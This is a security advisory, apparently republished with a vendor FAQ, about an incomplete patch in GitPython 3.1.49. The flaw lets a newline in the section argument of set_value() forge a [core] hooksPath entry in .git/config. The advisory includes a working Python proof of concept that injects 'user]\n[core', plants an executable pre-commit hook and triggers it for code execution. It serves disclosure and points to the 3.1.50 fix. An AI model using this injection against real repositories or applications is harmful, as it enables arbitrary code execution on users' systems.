GHSA-MV93-W799-CJ2W

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py, GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n, two valid section headers, into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value, already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete, only value is validated while section and option remain injectable.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

GHSA-MV93-W799-CJ2W has a CVSS score of 7.0 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.1.50); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-MV93-W799-CJ2W? GHSA-MV93-W799-CJ2W is a high-severity improper input validation vulnerability in GitPython (pip), affecting versions <= 3.1.49. It is fixed in 3.1.50. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is GHSA-MV93-W799-CJ2W? GHSA-MV93-W799-CJ2W has a CVSS score of 7.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of GitPython are affected by GHSA-MV93-W799-CJ2W? GitPython (pip) versions <= 3.1.49 is affected.
4. Is there a fix for GHSA-MV93-W799-CJ2W? Yes. GHSA-MV93-W799-CJ2W is fixed in 3.1.50. Upgrade to this version or later.
5. Is GHSA-MV93-W799-CJ2W exploitable, and should I be worried? Whether GHSA-MV93-W799-CJ2W is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-MV93-W799-CJ2W is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-MV93-W799-CJ2W? Upgrade GitPython to 3.1.50 or later.